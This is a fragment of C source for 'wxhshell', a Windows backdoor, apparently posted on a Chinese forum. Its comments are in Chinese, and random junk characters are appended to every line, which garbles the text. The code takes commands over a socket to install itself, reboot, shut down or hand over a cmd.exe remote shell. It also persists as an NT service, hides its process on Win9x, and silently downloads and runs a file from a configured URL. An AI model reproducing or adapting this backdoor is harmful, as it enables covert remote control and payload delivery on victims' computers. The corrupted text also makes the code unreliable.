    switch(cmd[0]) { *,. {Xf  
  .cb mCFXL  
  // 帮助 %[0"[<1a  
  case '?': { fkYQ3d,`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AIeYy-f  
    break; > + SEze  
  } >eXNw}_j  
  // 安装 )-9/5Z0v  
  case 'i': { Mf *qr9*  
    if(Install()) ck}y-,>,[O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 qnQF]4  
    else #\jPBLc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^\!^#rO  
    break; {hl_/ aG  
    } 3S,pd0;  
  // 卸载 #: F)A_Y  
  case 'r': { 5mV'k"Om#"  
    if(Uninstall()) K,RIa0)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8dpVB#]pp,  
    else /; _"A)0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QEVjXJOt0  
    break; ^'h~#7s  
    } /v8qT'$^  
  // 显示 wxhshell 所在路径 ; R67a V,  
  case 'p': { ":Q70*xSm  
    char svExeFile[MAX_PATH]; wjl? @K  
    strcpy(svExeFile,"\n\r"); LP87X-qkjW  
      strcat(svExeFile,ExeFile); V}(%2W5X+  
        send(wsh,svExeFile,strlen(svExeFile),0); qjWgyhL  
    break; ;9^B# aTM  
    } 2|T@  
  // 重启 "}!vYr  
  case 'b': { W=DQ6.   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]/a?:24[  
    if(Boot(REBOOT)) l"- D@]"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sC#Ixq'ls7  
    else { $yt|nO  
    closesocket(wsh); vb%\q sf  
    ExitThread(0); t;*'p  
    } bXJE 2N  
    break; )FB)ZK;  
    } rF5<x3  
  // 关机 EH[?*>+s  
  case 'd': { LWW0lG!_F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8-m"]o3  
    if(Boot(SHUTDOWN)) <l\FHJhjq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?b. PC/  
    else { !~RD>N&n  
    closesocket(wsh); )I*V('R6|  
    ExitThread(0); /E*P0y~KTW  
    } E 1>3[3  
    break; ZpwB"%e$  
    } *BF1 Sso  
  // 获取shell j\ )Qn 2r  
  case 's': { X4o8  
    CmdShell(wsh); =\q3;5[  
    closesocket(wsh); l@^RbF['  
    ExitThread(0); gU 8'7H2  
    break; wOOPuCw?  
  } k<St:X%.O  
  // 退出 2. |Y  
  case 'x': { D3jP hPy.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f[X>?{q  
    CloseIt(wsh); tV<A u  
    break; c  xX  
    } T$+}Srb  
  // 离开 j\W+wnAgk  
  case 'q': { ]-0 &[@I4@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3fGy  
    closesocket(wsh); 6#.R'O  
    WSACleanup(); 7qs[t7-h?  
    exit(1); D7=gUm >  
    break; wK,t q  
        } v!W,h2:J  
  } Kyv$yf 9  
  } uD+;5S]us  
H >RGX#|  
  // 提示信息 `OBDx ^6F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <8H`y(S  
} ;Yi ;2ttW  
  } &<L+;k~P%  
oW-luC+  
  return; `f b}cJUa  
} p[W8XX  
fIFB"toiPE  
// shell模块句柄 5~ jGF  
int CmdShell(SOCKET sock) {lqnn n3  
{ 398%16}  
STARTUPINFO si; ]2v31'  
ZeroMemory(&si,sizeof(si)); 96 C|R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; zs4>>^>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -N9U lW2S  
PROCESS_INFORMATION ProcessInfo; @!K)(B;A0b  
char cmdline[]="cmd"; 4,uH 4[7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |3vQmd !2}  
  return 0; In]h+tG?rN  
} u TOL  
[ UQzCqV  
// 自身启动模式  8sE@?,  
int StartFromService(void) }>SHTHVye  
{ 0gxbo  
typedef struct F!N;4J5u  
{ 8r+R~{  
  DWORD ExitStatus; `y m^0x8  
  DWORD PebBaseAddress; IaN|S|n~  
  DWORD AffinityMask; e>Is$+[`7  
  DWORD BasePriority; (5VP*67  
  ULONG UniqueProcessId; m &s0Ub  
  ULONG InheritedFromUniqueProcessId; NaLec|6<t  
}   PROCESS_BASIC_INFORMATION; L1M]ya!l  
C$Ldz=d  
PROCNTQSIP NtQueryInformationProcess; T|r@:t[  
hE+6z%A8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0l{').!_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TRG"fVR  
ZA+$ZU^  
  HANDLE             hProcess; j[9xF<I  
  PROCESS_BASIC_INFORMATION pbi; 8qo{%  
;?bRRW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cKdy)T%;  
  if(NULL == hInst ) return 0; ]MRE^Je\h  
7DXT1+t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,RDxu7iT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Z)$].~|t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cBiv=!n  
~1i,R1_\Y  
  if (!NtQueryInformationProcess) return 0; VTy!<I  
':kBHCR7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t&eY+3y,T  
  if(!hProcess) return 0; i%D/@$\D6  
{FteQ@(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L*Xn!d%  
e*:[#LJ]C  
  CloseHandle(hProcess); )d_)CuUBe  
5d<-y2!M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  >pT92VN  
if(hProcess==NULL) return 0; YLJH?=2@  
#c./<<P5}  
HMODULE hMod; Y:ZI9JK?  
char procName[255]; UdT ~ h  
unsigned long cbNeeded; LPvyfD;Zy  
0+m"eGwTm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 84cmPnaT  
`9kjYSd#E  
  CloseHandle(hProcess); ;XZ5r|V}  
#<MLW4P  
if(strstr(procName,"services")) return 1; // 以服务启动 6WzE'0Nyr  
!D7 [R'RgY  
  return 0; // 注册表启动 XK{`x<  
}  Xb&r|pR  
Qf$0^$ "  
// 主模块 ^Qs-@]E-  
int StartWxhshell(LPSTR lpCmdLine) J wRdr8q  
{ X CDHd ?Ld  
  SOCKET wsl; >OBuHqC  
BOOL val=TRUE; NGd|7S[^+c  
  int port=0; k'xnl"q  
  struct sockaddr_in door; #Jq@p_T"  
eN,s#/ip]  
  if(wscfg.ws_autoins) Install(); 0 jVuF l  
_C)u#]t  
port=atoi(lpCmdLine); lva]jh2  
J<H$B +;qR  
if(port<=0) port=wscfg.ws_port; Cc1sZWvz  
#z6RzZu  
  WSADATA data; ;#G>qo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sr,ZM1J  
aGr(djD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yaa+j8s]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OV;Ho  
  door.sin_family = AF_INET; fp:j~a>E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lF 8B+  
  door.sin_port = htons(port); AA^3P?iD  
SrN0f0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #OJsu  
closesocket(wsl); t/u$Ts  
return 1; H*A)U'`  
} ]zhFFq`  
1Yz1/gFj  
  if(listen(wsl,2) == INVALID_SOCKET) { ;TEZD70r  
closesocket(wsl); R =mawmQ2  
return 1; %_@8f|# ,M  
} 1;?b-FEq:  
  Wxhshell(wsl); *O$kF.3q  
  WSACleanup(); !:c7I@  
V<\:iNXX{  
return 0;  8Nd +  
4<ER dP7"-  
} "3Ag+>tuRW  
+S<2d.&~  
// 以NT服务方式启动 S;Lqx5Cd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t1n'Ecm(  
{ 9cQKXh:R.  
DWORD   status = 0; %Kw5 b ;  
  DWORD   specificError = 0xfffffff; Q'7o_[o/  
C3G?dZKv2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lyt6DvAp"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [\@!~F{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p!hewtb5  
  serviceStatus.dwWin32ExitCode     = 0; n`vqCO7@'  
  serviceStatus.dwServiceSpecificExitCode = 0; zOg#=ql  
  serviceStatus.dwCheckPoint       = 0; @wl80v  
  serviceStatus.dwWaitHint       = 0; A}t.`FLP,j  
JBeC\ \QX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D<5gdIw  
  if (hServiceStatusHandle==0) return; K)_0ej~C  
xZGR<+t  
status = GetLastError(); eq(|%]a=  
  if (status!=NO_ERROR)  T~ /Bf  
{ I@pnZ-5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v srce  
    serviceStatus.dwCheckPoint       = 0; 1YAy\F~`.  
    serviceStatus.dwWaitHint       = 0; %nFZA)B[  
    serviceStatus.dwWin32ExitCode     = status; :}+U?8/"7  
    serviceStatus.dwServiceSpecificExitCode = specificError; &{Uaa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *>$'aQ  
    return; " &p\pR~  
  } p KKn  
va~:oA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xot q$r  
  serviceStatus.dwCheckPoint       = 0; WuSRA<{P  
  serviceStatus.dwWaitHint       = 0; B?#@<2*=L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &fiDmUxj  
} XLEA|#  
0EPF; Xx  
// 处理NT服务事件,比如:启动、停止 F] M3/M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P:ys--$"  
{ nUd(@@%m  
switch(fdwControl) XO"!)qF  
{ 7QQ3IepP  
case SERVICE_CONTROL_STOP: %QwMB`x  
  serviceStatus.dwWin32ExitCode = 0; lJ}G"RTm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pC_2_,6$  
  serviceStatus.dwCheckPoint   = 0; &|/C*2A  
  serviceStatus.dwWaitHint     = 0; OFQsfW3O  
  { "N7C7`izc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H{p+gj^J  
  } rf1-E57#  
  return; 6l:CDPhR  
case SERVICE_CONTROL_PAUSE: 4)v\Dc/9i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "84.qgYaG  
  break; #V4_.t#  
case SERVICE_CONTROL_CONTINUE: 34s:|w6y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iOj mj0  
  break; rh$%*l  
case SERVICE_CONTROL_INTERROGATE: .'__ [|-{;  
  break; ZLE4 XB]  
}; rb`C:#j{J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Pvch!  
} 5#QB&A>  
o#%2N+w  
// 标准应用程序主函数 BO/2kL8*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s7a\L=#p(  
{ *( D_g!a  
D$#=;H ,  
// 获取操作系统版本 ;<ed1%Le,  
OsIsNt=GetOsVer(); +c\fDVv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ro^Y$;G  
?=Ma7 y  
  // 从命令行安装 XK(<N<Z@|e  
  if(strpbrk(lpCmdLine,"iI")) Install(); - bFz  
Y,>])R[4  
  // 下载执行文件  '=%vf  
if(wscfg.ws_downexe) { }v=q6C#Q>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'T+3tGCy+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;rd!kFd#bq  
} lFI"U^xC  
iwrdZLE  
if(!OsIsNt) { G ^r^" j  
// 如果时win9x,隐藏进程并且设置为注册表启动 LLaoND6  
HideProc(); ^[^uDE <  
StartWxhshell(lpCmdLine); {%UY1n  
} B-r9\fi,  
else G} }oeS  
  if(StartFromService()) Q:=s99  
  // 以服务方式启动 RFQa9Rxk  
  StartServiceCtrlDispatcher(DispatchTable); LT2mwJl  
else j_p.KF'[?  
  // 普通方式启动 <t]i' D(K  
  StartWxhshell(lpCmdLine); `|v0@-'$  
)h>Cp,|{  
return 0; $~zqt%}  
}
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只看该作者 1 发表于: 2006-10-10
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